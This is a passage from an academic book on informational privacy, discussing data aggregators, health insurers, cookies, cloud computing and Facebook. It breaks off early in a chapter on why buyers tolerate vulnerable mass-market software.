fact: Data aggregation entails a significant loss of control over our personal
information. Furthermore, we are often unable to foresee the full extent of
that loss. Such connections between possibility and fact are hardly unique 
to personal information. The possibility of having to make an emergency
stop, for example, highlights the fact that driving a car at 80 miles an hour
involves a significant loss of control over a motor vehicle in comparison to
driving at 55 miles an hour. Similarly, the degree and significance of our 
loss of control over our personal information is illustrated by the possible
outcomes to which it exposes us. 
Like direct marketing, information aggregation is a good example of
technological advances expanding the power of role-appropriate infor­
mation processing to the point where applicable norms are no longer 
value optimal. The history of ChoicePoint is particularly instructive.
ChoicePoint was a 1997 spin-off of the credit reporting giant, Equifax.
Founded in the late nineteenth century as Retail Credit, the company that
would become Equifax grew over the course of the twentieth century.
Back in 1965, the year that Retail Credit went public (and also about the
time that Retail Credit began converting some of its information from 3 × 
5 cards to computers), the company was presumably processing informa­
tion in role-appropriate ways. Furthermore, back then, the role-appropri­
ate information processing norm for credit reporting may very well have
been value optimal. 
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In 1976 the firm name became Equifax, and by the late 1990s, Equifax 
dominated the credit reporting market, with information on over 350 
million credit cardholders worldwide. By that time, Equifax had diversi­
fied its information reporting activities to include insurance risk assess­
ment, marketing services, health care claims processing, debt collection, 
and back-office credit card processing. If we focus on the divisions sepa­
rately, we can think of each of them as processing information in strictly
role-appropriate ways: the credit reporting division processed informa­
tion only in ways appropriate for a credit reporter; the insurance division
processed information only in ways appropriate to assessing the insurance 
risk, and so on. As with direct marketing, technological advances had by
then so increased the power of such role-restricted information processing 
that the relevant role-appropriate information processing norms were no
longer value optimal. 
Without minimizing the importance of that point, we want to empha­
size an additional point: Equifax pooled its information across categories.
In the 1990s, it rapidly developed new ways to analyze and package its 
information, a development supported by its 1993 decision to subcontract
its computer operations to IBM, thus freeing its technical staff to concen­
trate on analysis and packaging. Equifax pooled information from diverse 
sources and analyzed and distributed it for diverse purposes. 
Equifax spun off ChoicePoint in 1997 as a publicly traded company.
ChoicePoint’s business was the pooling of personal data from diverse pub­
lic and private databases for sale to anyone interested. 
So now we have traced the history of the information aggregator
ChoicePoint from its beginnings as a tiny credit reporting bureau in the
1890s to being a part of the modern credit-reporting giant Equifax in the 
1990s to being a very large, independent information aggregator in the 
2000s (and then being part of an even larger information aggregator after
the buyout by LexisNexis’s parent). After all these changes, there is still a 
role-appropriate information processing norm that applies to the infor­
mation aggregation activity in the 2000s and today: Process information 
only in ways appropriate for an information aggregator. 
We might argue about whether this is a new application of the general 
role-appropriate information processing norm or the evolution of an old
one. However, the outcome would not matter; norms, as we emphasized 
earlier, evolve dynamically over time, so either way we should recognize 
the information aggregators norm: Consumers demand that information
aggregators process information only in role-appropriate ways. Of course,
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the role of an aggregator is, within legal limits, to aggregate, analyze, and
distribute information, so this conception of role appropriateness places
virtually no constraints on what aggregators may do. 
The Current Norm and Its Problems 
Like all role-appropriate information processing norms, the informa­
tion aggregators norm is a coordination norm among consumers. Thus,
each consumer thinks he or she ought to conform, meaning, in this case,
to participate in normal consumer commercial transactions. As was
the case for the retailers as information brokers norm, nonconformity 
would mean avoiding generating and relying on databases of personal
information, and that would mean a wholesale avoidance of a wide range
of commercial interactions. Indeed, not conforming to the information 
aggregators norm would be even more onerous than not conforming to 
the retailers as information brokers norm because it would mean not only
not using credit cards, but also never applying for insurance or a mort­
gage, never buying a home, not renting most homes, and not applying for 
most jobs. In light of the considerable inconvenience and loss of various 
advantages and privileges, everyone thinks he or she ought to avoid uni­
lateral nonconformity. 
The information aggregators norm is nonetheless not value optimal.
The argument is the same as in the case of the retailers as information 
brokers norm. Consumers value privacy highly enough that they regard
alternatives in which they have greater control over information process­
ing practices as being much better justified than current norms. The lack 
of value optimality means that consumers do not give free and informed 
consent to the trade-off implemented by the norm, and hence they do not
have an adequate degree of informational privacy. 
In fact, an accurate picture of consumers’ position with respect to the 
major information aggregators is probably even worse than the picture we
have just painted, because in this book we are generally ignoring the role
of government. Considering the role of federal, state, and local govern­
ments in the United States would raise three additional issues: 
1. Both	 the federal and state governments sometimes buy infor­
mation from information aggregators; the purchases are largely 
unconstrained by current law. The 1974 Privacy Act constrains gov­
ernmental collection and use of data, but government agencies are 
adept at navigating around its restrictions. 
    
 2. Information aggregators are able to compile information that has 
long been public as a matter of law in the United States, but that 
50 years ago could be aggregated only with great effort in terms of 
time and expense. This is the problem of public records—real estate 
sales, misdemeanor convictions, school teachers’ salaries, and so 
on—becoming “too public” that we mentioned in Chapter 2. 
 3. In some cases, governments are selling information to the infor­
mation aggregators—information that is not publically available, 
such as driver’s records. For example, the state of Ohio has sold 
driver’s records to such information aggregators as ChoicePoint and 
LexisNexis.12 Thus, even if a citizen of Ohio somehow manages to 
conduct her life without entering into any transactions recorded by 
ChoicePoint or LexisNexis, she still—assuming that she has a driv­
er’s license—has lost control of her information. 
Beyond Lack of Control 
Loss of control is a critical concern, but, importantly, it is not the only rea­
son to worry about losses of informational privacy. As the next example 
illustrates, technologically enhanced information processing can lead to 
outcomes that are objectionable for other reasons as well. 
THE HEALTH INSURANCE INDUSTRY 
Health insurers make money by collecting more in premiums than they 
pay out in compensation; to do so, they must correlate premiums with 
risks. This requires processing personal information about morbidity and 
mortality in order to identify high-risk individuals. They can then control 
the ratio of compensation to premiums by refusing to insure high-risk   
applicants, discontinuing insuring current high-risk customers, or charg­
ing high-risk customers higher premiums.* Keeping insurance compa­
nies in business benefits both the companies and consumers who pay for 
health care through insurance. It is therefore role appropriate for a health 
insurance company to process information concerning the risks of mor­
bidity and mortality. 
* 	 This is an oversimplification, because the health insurance industry is regulated by both the 50 
states and the US government. Regulations limit companies’ abilities to vary premiums based 
on person-by-person assessments of morbidity and mortality. In addition, the Patient Protection 
and Affordable Care Act (PPACA) significantly constrains how health insurance companies set 
premiums. However, the sort of information processing we are discussing is not much affected by 
these regulations, so we will ignore the regulatory issues. 
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The Norm 
The health insurance norm is another role-appropriate information pro­
cessing norm: Consumers demand that health insurance companies pro­
cess any legally obtained personal information relevant to determining risks
of morbidity and mortality. To see why buyers think they ought to conform 
to this coordination norm, consider the consequences of nonconformity. 
Suppose that after his wife dies, Jones’s doctor prescribes Prozac for 
Jones’s temporary depression. Jones’s insurance pays both for the office
visit and for the Prozac. Five years later, Jones leaves his employment, 
and his employer-provided health insurance, to open his own business.
Fearing that the diagnosis of depression and the prescription of Prozac 
could lead to the denial of insurance or to higher premiums, he omits the 
diagnosis and prescription on his application for insurance. Incidentally, 
Jones’s fear of higher premiums or denial of coverage is quite realistic.13 
However, if the insurance company discovers the omission, sanctions 
include the denial of coverage and liability for fraud. 
It is highly likely that the company will discover the omission. The health
insurance industry’s use of information aggregation services makes it quite 
difficult to conceal such information. The industry uses both general infor­
mation aggregators like LexisNexis and specialized ones like the Medical 
Information Bureau (MIB). MIB is a trade association whose insurance 
company members share information in the form of MIB records. MIB 
records consist of codes indicating medical conditions that affect morbid­
ity or mortality. The MIB website claims that the “MIB Checking Service 
is the fastest, most effective way to prevent omissions and material misrep­
resentations on insurance applications…. The MIB Checking Service pro­
tects your company against the cost of early claims and helps you rate and 
rider policies commensurate with risk.”14 Information aggregators allow
health insurance companies very effectively to detect and sanction those 
who fail to conform to the regularity of allowing the companies to process
personal information concerning morbidity and mortality. 
You may occasionally succeed in concealing information about morbid­
ity and mortality, but, on the whole, health insurance companies are likely 
to acquire such information despite attempts at concealment, and the 
likely sanction—denial of coverage—is a disaster in an economy in which 
you pay for health care through health insurance. If consumers united in a 
general revolt against health insurance practices, they might win reforms;
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unilateral nonconformity, however, entails risks that everyone thinks (or,
after adequate reflection, would think) that he or she ought to avoid. 
The Health Insurance Norm Is Not Value Optimal 
As in the previous two examples, one reason the norm is not value opti­
mal is that consumers regard an alternative in which they have more
control over their personal information as better justified. In this case,
however, there is an additional reason that the norm is not value opti­
mal: Consumers also regard an alternative where they don’t give health
insurers the sort of personal medical information that they do today as
better justified. In the United States, the distribution of health care is
determined in large part by the distribution of private health insurance.
The vast majority of those who have carefully reflected on the problem 
without bias or prejudice have concluded that the distribution is seriously
flawed—that many who ought to have health care go without it.* Thus,
if we—people in general—were to reflect adequately on the issue, it is  
highly likely that we would regard some alternative distribution as better 
justified. Indeed, it seems clear that consumers would want an alterna­
tive where the cost of health care to any particular individual, and hence
the distribution of health care, does not depend on personal information
about previous illnesses and medical conditions. 
The conclusion remains the same as before: Consumers have no effec­
tive means to give free and informed consent to the trade-off imple­
mented by the norm; hence, they do not have an adequate degree of  
informational privacy. 
MORE EXAMPLES 
The foregoing examples are not isolated instances. We could make simi­
lar claims about lack of value optimality in a number of cases, including 
employer use of information in hiring decisions, the extension of credit, 
news reporting, and the practice of price discrimination. In each case,
consumers are trapped in conformity to a norm that is inconsistent with
their values. 
* 	 There is currently a vigorous political debate in the United States about health care and, in par­
ticular, about the PPACA enacted by Congress in 2010, the most significant provisions of which 
take effect January 1, 2014. We are not taking a side in that debate. We assert only that very many 
on both sides of the debate would agree that there are serious flaws in the current system, regard­
less of how they feel about PPACA. 
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We now turn to the cases in which there are simply no relevant norms 
at all. We consider three examples: cookies, cloud computing, and social
networking sites. 
Cookies 
A (web) cookie is a text file that a website deposits on your hard drive. It
is typically used to identify you and to record information about you and 
your web activities. The basic idea of a cookie is analogous to the practice
of bird banding, where scientists (and birders) put tiny identifying bands
on birds’ legs or wings so that any scientist or birder will know when  
they are examining the same bird in the future. A website, such as www. 
Example.com, labels you at your first visit to a website by assigning you 
an alphanumeric string—for example, 5e66ffd215b4c5e6—and deposit­
ing this string* as a www.Example.com cookie on your computer among
the files associated with your web browser. Thus, to be precise, cookies are
not associated with a person, but rather with a particular user account and
web browser (e.g., Firefox or Internet Explorer) on a particular computer, 
but this amounts to much the same thing. On all future visits to any page
of the www.Example.com domain (e.g., to www.Example.com or to www. 
Example.com/Sports), the string 5e66ffd215b4c5e6 that was deposited 
earlier is sent back to the web server. 
Any website that uses cookies (and most do), will see the same alphanu­
meric string it left the first time you browsed to the website any time you 
later visit any page of that website. Using this string, the website can create 
a list of all of its pages that you visit; it simply creates a log that records that
5e66ffd215b4c5e6 visited page so-and-so at a certain time; that 5e66ffd­
215b4c5e6 visited page such-and-such at a later time, and so on. If the 
cookie remains on your computer from visit to visit (and most websites set 
their cookies to remain from visit to visit), the site can use the same cookie
to monitor a series of visits. (All common modern web browsers give you 
a way to look at your list of cookies. If you have never done so, try it. You 
will probably have many hundreds or even thousands of cookies.) 
Cookies serve a number of useful purposes: We often find a website 
to be more pleasant to use if it “remembers” us from visit to visit, and  
* 	 This is a small oversimplification. In fact, cookies contain at least identifiers of the website and 
cookie name (necessary because many websites deposit many cookies; a typical computer user
will find perhaps two dozen from Google.com alone), path, expiration date, and contents—the 
string—but for our purposes we can think of one alphanumeric string. 























Informational Privacy: Norms and Value Optimality  ◾ 111
cookies are how a website remembers us. Cookies can be used to maintain
user information for authentication, present personalized web pages based 
on the visitor’s preferences, and facilitate various activities such as plac­
ing items in a shopping cart. If you refuse all cookies, you will find that
many websites become very awkward and unpleasant to use, and some
websites will refuse to do business with you altogether. For example, as
of this writing, you cannot make a purchase at amazon.com if you do not
accept cookies, and you cannot even browse gap.com. 
So far, you should have the impression that www.Example.com can
record only pages visited, content viewed, and the time and duration of
visits on www.Example.com pages (and perhaps Example.com might sell
that information to others). However, when you visit a web page today, that
page frequently includes content “served” (i.e., put on the web page to be 
displayed) by one or more advertisers or web analytics companies, and 
every domain that puts information (which may be invisible) on a page
can leave cookies. Many sites enter into cooperative relationships with such 
firms that allow them to use cookies to track users across sites. The online
advertising giant, DoubleClick (a subsidiary of Google since 2008), offers 
this service. As of this writing, the list of sites where DoubleClick will see 
the trail you leave via DoubleClick cookies includes, among many others, 
the Chicago Tribune, New York Times, Wall Street Journal, and Washington
Post newspapers; Amazon.com; LinkedIn; and Weather Underground. 
The aspect of cookies that concerns us in this chapter is their use to  
target advertising. 
Cookies and Targeted Advertising 
Cookies track website visitors’ activities, which contributes to creating user 
profiles needed for targeted advertising. The trade-off is the one familiar
from the earlier discussion of direct marketing. Indeed, cookies (and vari­
ations on cookies) are the primary technological tool for targeted online
advertising, which is the online successor of direct marketing through tra­
ditional advertising channels. The benefits are greater business efficiency
and improved consumer access to products and services through more
advertising that is relevant to consumers’ wants and needs and less that is
not. The cost is a loss of informational privacy. Our claim is that there is no
shared conception of role-appropriate information processing applicable
to the use of cookies to construct direct marketing profiles and hence no
relevant informational norm. 
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This may seem wrong. DoubleClick has used cross-site tracking cook­
ies for targeted advertising purposes since 1996, when the company was 
founded, and it is hardly alone in this practice.* Shouldn’t the well estab­
lished practice show or at least strongly suggest that there is a shared 
conception that, at least within broad limits, it is role appropriate for an
Internet advertiser to use cookies for targeted advertising purposes? 
It may suggest that, but the suggestion would be wrong. For a shared
conception of role appropriateness to exist, consumers must on the whole 
agree that it is role appropriate for a website to use cookies to track their 
behavior, but a number of studies show that consumers do not think this. 
One study, for example, asked subjects to identify sites they valued and 
then described the common ways in which websites track users, extract 
information, and share it with other businesses for advertising purposes.
“85% of the surveyed adults who go online at home did not agree that a 
‘valued’ site should be allowed to serve clickstream advertising to them 
based on data from their visits to various websites that marketers collected 
and aggregated.”15 While studies vary considerably in the statistics they 
report, studies taken together show that, even though they may be aware 
that websites track their behavior, a clear majority of Internet users do not
agree that websites should do so. We take the studies to show that there 
is no consensus that it is role appropriate for an Internet advertiser to use
cookies for targeted advertising purposes. 
The Resort to the Illusion of Consent 
Websites address the privacy concerns about cookies by offering an illu­
sion of consent through links to terms-of-use agreements and privacy 
policies. This is a resort to notice and choice, as we called it in the previous
chapter. It is merely making some typically incomplete information about
the company’s information processing practices available and observing 
individuals’ willingness to proceed with web browsing. However, as we
argued in the previous chapter, such devices do not at all ensure free and
informed consent. 
* 	 The use of cross-site tracking cookies is widespread, as you can confirm by installing Ghostery
(www.ghostery.com), a browser add-on that reveals who is tracking you when you visit a website.
We discuss the use of tracking cookies more fully in Chapter 11. 
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Cloud Computing 
Cloud computing is a rental service.* Cloud-computing providers rent 
the use of software and data storage. The software and storage reside
on computers whose whereabouts the customer may not know and that
may not even be in the same country. The rapidly increasing popular­
ity of cloud computing signals a major shift in computing geography,
from user- or organization-owned and -controlled laptops, desktops, 
and servers to remotely located, high-end machines owned by cloud-
computing service providers. 
Cloud computing’s significant advantages explain the rapid shift.
Cloud-computing customers reduce their investment in technological 
infrastructure that would otherwise be necessary, such as acquiring and 
maintaining software and data storage; instead, customers just rent soft­
ware and data storage as needed. This incredible access to computing
resources with minimal capital outlay can lead to a faster time to mar­
ket for many businesses and offers smaller firms access to computer-
intensive business analytics that would otherwise be too expensive.
Reliability increases because cloud-computing services typically run on
highly reliable systems with built-in redundancy and because these sys­
tems offer automated, remote updating and data backup. Security may
also increase because the cloud-computing services may be better pro­
tected than some businesses’ in-house networks. The trade-off is a loss
of informational privacy. 
When you become a cloud-computing client and store data containing 
personal information on remote servers under the control of your cloud-
computing service provider, you give up some control over your informa­
tion. What is to prevent the service provider from using your information 
in ways that compromise your informational privacy? There would be
nothing to worry about in a perfectly-competitive market where all trans­
actions were governed by value optimal, demand-unifying coordination
norms. Value optimal norms would define acceptable trade-offs between 
the use of the information and the concern for informational privacy, and a 
perfectly-competitive market would ensure compliance with those norms. 
* 	 As of this writing, “cloud computing” is a buzzword that is sometimes used to mean (a) almost any
online activity; (b) the provision of typically free services to consumers such as Yahoo! and Google 
e-mail and Google Docs; or (c) the renting of the use of applications and storage, such as Amazon’s
EC2 service. Here we are talking about (c). 











 1. To what extent should service providers invest business resources in 
protecting customer information against unauthorized access? This 
issue has proven particularly controversial. In 2009, the Electronic 
Privacy Information Center filed a complaint with the Federal Trade 
Commission alleging that Google’s cloud-computing privacy and 
security practices were inadequate, and that this constituted an 
unfair and deceptive trade practice.17 
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Unfortunately, the needed norms have not yet emerged. But is this
really such a serious problem? When people use cloud computing ser­
vices, they enter a contract with the service provider, and it may appear
that since contracting parties can define their own trade-offs, they do not
need trade-off-defining norms. This appearance is an illusion; as we argue
in Chapter 11, contracting actually presupposes a background of trade­
off-defining norms. As was the case with cookies, there is no relevant
informational norm—hence no effective means to give free and informed
consent and thus no adequate informational privacy. 
In fact, cloud-computing service providers do not conform to a generally 
recognized standard of appropriateness; rather, different service provid­
ers vary significantly in the extent to which they safeguard informational 
privacy. These differing options offer different trade-offs between compet­
ing interests. Customers have an interest in adequate protection of their 
informational privacy. The service providers, on the other hand, have an
interest in using customer information in ways that benefit their business;
indeed, all the privacy policies that govern Google’s cloud-computing ser­
vices (the Google “App Engine”) give Google the right to use customer-
provided information to “maintain and improve” Google services. 
Customers benefit from well maintained and improved services, but 
what are the limits on what Google, or any other cloud-computing service 
provider, can do? Service providers offer different trade-offs in answer to 
this question. There is no conformity to a shared standard of what con­
stitutes an appropriate trade-off. This situation would not be too worri­
some if there were general agreement on what the regularity ought to be;
we could then try to implement the combination of market pressures and 
legal regulation that would most effectively bring that regularity into exis­
tence. There is, however, no such agreement. Indeed, “[i]t seems likely that
much of the world’s digital information will be living in the clouds long 
before…questions [about privacy and security] are resolved.”16 We offer 
three examples of unresolved questions: 
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2. When a customer stops renting cloud-computing services from a 
particular service provider, should the service retain the right to use 
the customer’s information that remains on its servers, or must the 
service delete it? Retention contributes to the information base that
the service provider has available to maintain and improve its busi­
ness, but the longer the information is retained, the longer the time
during which it is exposed to the risk of unauthorized access and any
other use that may compromise the customer’s informational privacy. 
3. To what extent, if any, may the service provider sell information to
direct marketers? There are advantages to permitting some transfer
of information to direct marketers. The sales would generate reve­
nue and could consequently reduce the price that customers pay for 
cloud computing; in addition, to the extent that accurate personal
information guides advertising efforts, customers may receive more
advertising that speaks to their needs and less that does not. What is
the value optimal trade-off with privacy? 
Unresolved Questions and the Resort to Notice and Choice 
As long as such questions remain unresolved, informational norms will
not adequately govern the informational privacy trade-offs involved in
cloud computing. This lack of norms means a lack of an effective means 
to give or withhold free and informed consent to the trade-offs and thus a 
lack of adequate informational privacy. As we have seen with other exam­
ples, for now, cloud-computing service providers address privacy concerns 
by resorting to wholly inadequate notice and choice. 
Social Networking Sites 
Social networking sites number in the thousands. Some cater to special­
ized interests or specific groups; others, like Facebook, offer a general 
networking platform. We focus on Facebook, which, with over one bil­
lion users, is by far the largest of all the sites, but our remarks apply to
any similar site. In this chapter we focus on the absence of well developed 
social norms governing Facebook; in Chapter 12, we will examine various 
aspects of advertising on Facebook. 
Facebook is a platform offering a variety of innovative ways to share 
information and interact socially. Users can make friends and join groups; 
friends can post messages on the user’s wall. Facebook offers a number of
other features that facilitate information sharing and interaction; these
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include the friend finder, photo tagging, the Like Button, and, in partic­
ular, a variety of applications. A Facebook user can install applications 
that share her calendar with her friends, connect her with users interested 
in astrology, allow her to participate in multiuser online games, or turn
Facebook into a dating site. There are over nine million applications.18 
Facebook also expands interaction beyond the confines of the Facebook 
site by offering “social plug-ins” that allow users to interact with Facebook 
friends and group members when the user is on sites other than Facebook.
According to Facebook’s website for itself: 
There are over 900 million objects that people interact with (pages, 
groups, events and community pages). The [a]verage user is con­
nected to 80 community pages, groups and events [and] creates 90
pieces of content each month. More than 30 billion pieces of con­
tent (web links, news stories, blog posts, notes, photo albums, etc.) 
[are] shared each month.”19 
There is no monetary charge for opening and using a Facebook 
account. But there is a price: You surrender some of your informational 
privacy—that is, your ability to control how others process your per­
sonal information. You cannot use Facebook without surrendering some
control—indeed, a great deal of control—to Facebook. As the Facebook 
privacy policy makes clear, Facebook monitors its users’ activities. The
activities paint a detailed, constantly updated psychographic portrait of
users. The portrait may be far more revealing than users would expect. 
As we mentioned in Chapter 2, a study by MIT students showed it was 
possible to predict men’s sexual orientation with reasonable reliability by 
analyzing the sexual orientation and gender of their Facebook friends 
on the Facebook site—even when the men did not explicitly identify
themselves as either straight or gay. The ability to create detailed psy­
chographic profiles makes Facebook a potential targeted advertising gold
mine. It has huge commercial value even though—as Facebook’s privacy 
policy emphasizes—Facebook does not transfer any user profile data to 
advertisers. But Facebook doesn’t need to—or want to—transfer to third 
parties any of its valuable data on its users. Instead, advertisers specify 
their desired targets to Facebook, and Facebook uses the profiles to match 
advertising to the specification. 
Facebook’s advertising activities have proven highly controversial.
This is hardly a surprise. As we noted when discussing the retailers as
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information brokers norm, when consumers are informed about current 
business information processing practices, the vast majority find such 
practices unacceptable. In the case of the retailers as information brokers 
norm, the controversy over processing information for advertising pur­
poses shows that an existing norm is not value optimal. In the case of
Facebook, on the other hand, it shows that there is no norm at all. 
In the case of Facebook, there is no shared conception of role appro­
priateness to begin with. Shared conceptions of role appropriateness arise 
and evolve over time through patterns of social and commercial interac­
tion. Facebook was launched in 2004 and has undergone constant change
and development that have continually introduced innovative options for
information sharing and networking. It would be surprising if the evo­
lution of a shared conception of role-appropriate information processing
could keep pace with the evolution of Facebook, and the constant contro­
versy surrounding Facebook’s privacy practices is compelling testimony 
that it has not done so. 
Nor should you expect this controversy to be resolved anytime soon. 
Facebook poses a unique challenge to developing a shared conception of
role-appropriate information processing. It does so by intentionally blur­
ring the line between what friends and social acquaintances may appro­
priately know about us and what advertisers may know, and it thereby 
creates a novel challenge to developing a shared conception of role-appro­
priate information processing. 
Blurring the Line 
An excellent example of blurring the line are the 11 technologies that
other sites can (as of this writing) install so that Facebook users who 
visit those sites can also interact with Facebook itself. Here is Facebook’s 
description of the technologies (from its website for developers as of late 
September 201220): 
• 	 Like Button: The Like button lets users share pages from your
site back to their Facebook profile with one click. 
•	 Send Button: The Send button allows your users to easily send
your content to their friends. 
• 	 Subscribe Button: The Subscribe button allows people to sub­
scribe to other Facebook users directly from your site. 
• 	 Comments: The Comments plug-in lets users comment on any 
piece of content on your site. 
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• 	 Activity Feed: The Activity Feed plug-in shows users what their 
friends are doing on your site through likes and comments. 
• 	Recommendations Box: The Recommendations plug-in gives 
users personalized suggestions for pages on your site they
might like. 
• 	Recommendations Bar: The Recommendations Bar allows 
users to like content, get recommendations, and share what
they’re reading with their friends. 
• 	Like Box: The Like Box enables users to like your Facebook 
page and view its stream directly from your website. 
• 	 Login Button: The Login Button shows profile pictures of the 
user’s friends who have already signed up for your site in addi­
tion to a login button. 
• 	 Registration: The registration plug-in allows users to easily sign
up for your website with their Facebook account. 
• 	Facepile: The Facepile plug-in displays the Facebook profile
pictures of users who have liked your page or have signed up
for your site. 
Facebook offers these novel forms of social interaction in part to increase 
its attractiveness as an advertising platform. Monitoring users’ interactions
via these nine methods adds ever more information to the psychographic 
dossiers Facebook develops on its users. The exploitation of social-network­
enhancing technologies to support the development of these dossiers sig­
nificantly blurs the line between advertising and social networking. 
More Blurring of the Line 
To see another way in which Facebook blurs the line, consider first a prob­
lem it faces in realizing its potential as a targeted advertising platform. 
The problem is that Facebook actually has quite low click-through rates 
for display advertising (the display of a banner with text and/or illustra­
tions hyperlinked to the advertiser’s website). A “click-through rate” is the 
percentage of users who click on an advertisement presented to them; it is
a standard measure of the effectiveness of online advertising. Facebook’s 
click-through rate for display advertisements is about one-fifth of the 
average click-through rate on the web. The explanation is that Facebook 
users go to the site to communicate with friends, an activity that quickly
diverts attention from advertisements, if indeed users pay any atten­
tion at all. Facebook addressed this problem by offering “engagement 
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advertising”—advertising designed to encourage users to interact with the 
advertisement in ways that deliberately blur the line between social net­
working and advertising. Facebook engagement advertising has consider­
ably higher click-through rates than Facebook display advertising. 
Engagement advertising invites you, for example, to answer questions or
fill out surveys. The ever present “like” button is a simple but very effective
example of engagement advertising. When a user clicks on the button, the
information that the user likes the content appears on the user’s friends’
Facebook News Feed with a link back to the business’s website. By moni­
toring clicks on “like” buttons, Facebook acquires a constantly updated 
picture of the interests of its users. If a business participates in Facebook’s 
“Open Graph Protocol,” the interests are recorded automatically. Under 
the protocol, according to Facebook’s website for developers, “when a user 
clicks a Like Button on your page, a connection is made between [the busi­
ness’s] page and the user. [The business’s] page will appear in the “Likes
and Interests” section of the user’s profile, and [the business] will have the 
ability to publish updates to the user.”21 
A more elaborate example of engagement advertising is Asylum626,
a Doritos campaign targeted at young people.22 Modeled after a horror 
movie, the advertisement put two of the user’s Facebook friends in the 
asylum, and the user picked which one to save. The campaign also posted 
invitations to save them on the Facebook and Twitter pages of everyone
in the user’s Facebook and Twitter networks. Finishing the game required 
becoming a torturer, and users had to buy Doritos to get a special code 
needed to open the final level. 
The Resort to Notice and Choice 
Finally, in addition to encouraging its users to think of themselves as
being only in a social setting with friends and to ignore Facebook’s role
in the advertising business, Facebook also offers the illusion of consent. It
addresses privacy concerns by offering links to its terms-of-use agreement 
and privacy policy as well as to tools that allow users to modify privacy 
settings to fit their preferences. This is merely notice and choice, a practice
that does not and cannot ensure free and informed consent. 
COLLABORATE OR RESIST? 
What is to be done? There are two problems: norms without value opti­
mality and lack of norms altogether. Take the first problem first. There are 

two ways we can try to remedy a situation in which a norm lacks value 
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optimality: collaborate—retain the norm and change our values to make 
the norm value optimal; or resist—replace the norm with a value opti­
mal one. Similarly, there are two ways we can try to remedy a situation in
which there is a lack of informational norms altogether. We can collabo­
rate; we can, that is, change our values so that we come to see the informa­
tion processing activities in question as role appropriate and thereby allow 
norms that permit those activities to evolve—norms that we would, from
the perspective of our changed values, regard as value optimal. Or, we can 
resist; we can try to create value optimal norms incorporating notions of
role appropriateness consistent with our current values. 
The privacy advocates make a strong case against collaboration by
emphasizing that a significant degree of informational privacy is essen­
tial to things we value deeply. We repeat one of their lists one last time: 
“intimacy, friendship, individuality, human relationships, autonomy, 
freedom, self-development, independence, imagination, counterculture,
eccentricity, creativity, thought, democracy, reputation, and psychological
well-being.”23 For anyone who assumes that a significant degree of infor­
mational privacy is a necessary means to these ends, resistance—creating 
value optimal norms—is the only reasonable option. 
The critical question is, what course of action will most likely produce
the necessary value optimal informational norms? Our answer is to show
how to create processes that will lead to the norms. We do this in Chapters
11 and 12. We prepare for that task by showing how to create similar pro­
cesses to address issues about unauthorized access that arise in the context
of software and malware. As we explained in Chapter 1, it is a bit easier to
define the processes in those cases, and we use that background to address
the more difficult problems of informational privacy. 
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Software Vulnerabilities 




Would you waste billions of dollars a year if you could avoid it? Certainly
not. But this is precisely what we do with mass-market software. 
Individual, companies, and governments collectively lose billions when
hackers exploit defects in software to gain unauthorized access to online
information. Vulnerabilities are software defects that hackers can exploit 
to gain unauthorized access. Software programs—mass-market programs
at least—contain too many vulnerabilities. Everyone (except perhaps for 
the hackers) would be better off if there were far fewer vulnerabilities and 
hence much less loss. The billions saved could, for example, be spent on
health care, education, or business investment. Why do we throw billions
away? And, what should we do about it? In answering these questions, we
consider only mass-market software. Custom-made software raises some­
what different issues. 
Software vulnerabilities are just the first topic in our discussion of unau­
thorized access. In analyzing unauthorized access, it makes sense to split
the problem into two parts—vulnerabilities and malware (viruses and 
such)—and analyze them separately. An analogy may help here. Imagine 
that you are responsible for the security of a building: perhaps your home,
perhaps some large civic or sports auditorium downtown. Among other 
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hazards, you want to protect yourself against burglary. Software vulner­
abilities are analogous to unlocked doors or walls built of straw or paper:
a clear invitation to burglary. The solution is to use locks and to build 
with wood, concrete, stone, or brick. Now, if the burglary problem is at
all serious in your neighborhood, you may need to take other measures: 
hire guards, start police departments, put stronger locks on the doors,
start putting locks on windows, etc. These actions are analogous to fur­
ther defenses against malware that we will discuss in later chapters. In
this chapter, we concentrate on software vulnerabilities—on the billions 
of dollars we collectively throw away by buying these houses built of paper. 
WHAT BUYERS DEMAND 
We throw away billions because we—as software buyers—demand low-
priced, early-to-market software. Low priced is not necessarily low cost. 
Low-priced mass-market software often contains costly vulnerabilities. 
The problem is that reducing vulnerabilities requires a longer and more
costly development process and sometimes yields software that is less easy
to use, and buyers are unwilling to pay a higher price for more secure
software that is slower to appear on the market and possibly more difficult 
to use. Instead, they demand low-priced priced, early-to-market software 
even though it is vulnerability ridden. Why do they do so? 
Because they think they ought to. This answer may seem implausible 
at first. The air of implausibility disappears when we see that buyers do 
not all think this for the same reason. Buyers divide into three groups: 
those ignorant of the risks, those who underestimate the risks, and those 
who estimate them accurately. Buyers who are unaware of the risks do not
see any point to paying more or waiting longer for more secure software;
hence, they think they ought to demand low-priced software. 
Buyers who are aware of the risks may still underestimate the risks. A 
large number of studies have documented the human propensity to be 
unrealistically optimistic when answering the question of whether bad 
things will happen to you in particular. Like risk-unaware buyers, risk-
underestimating buyers do not see why they should pay more for secure
software and thus think they ought to demand low-priced software. But 
what about buyers who do correctly estimate the risks? Why do they think 
that they ought to demand insecure software? 
To answer, imagine Alice deciding whether to use Adobe Reader for 
working with PDF files; she is well aware that Reader has significant vul­
nerabilities, but, she has only two options: use Reader or not. There is no
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third option of demanding and receiving a less vulnerable Reader.* The
truth of the matter is that Alice is in the minority. Since most users of
Adobe Reader are either risk unaware or risk underestimating, mass-
market software developers tend to ignore the correctly risk-perceiving 
minority. Alice doesn’t have an easily available option of acquiring a more
secure PDF viewer. 
Therefore, Alice will think she ought to use Reader as long as she is
confident that she can take reasonable precautions to protect herself from
unauthorized access. She realizes that, to the extent she transmits PDF
files to others who may not exercise the care she does, she imposes on them 
risks of unauthorized access by giving them yet one more occasion to use 
Reader. But those risks have virtually no impact on her decision. Given the 
extremely widespread use of Reader, her decision not to use it would yield 
only an infinitesimal reduction in the risks to others and would burden or
inconvenience Alice. The result is the same for any case in which individu­
als can adequately protect themselves against the risks of using vulnerable
software and in which not using the software would only imperceptibly 
reduce the risk to other users. Correctly risk-estimating buyers will think 
they ought to use the software. 
We should note in passing another problem we will develop more fully
in Chapter 7. Even if Alice wanted to buy more secure software, it could
be quite hard for her to know when she had found it. It is at least some­
what difficult for a typical user, and sometimes even for an expert, to judge 
whether software contains vulnerabilities. This makes it difficult to opt for 
less vulnerability-ridden software even if it is in fact available. Alice, for
example, could use a different PDF viewer. If she is running Windows, she 
might instead use either of the open-source PDF viewers Evince (designed 
for Linux but also available in a free version for Windows) or Sumatra 
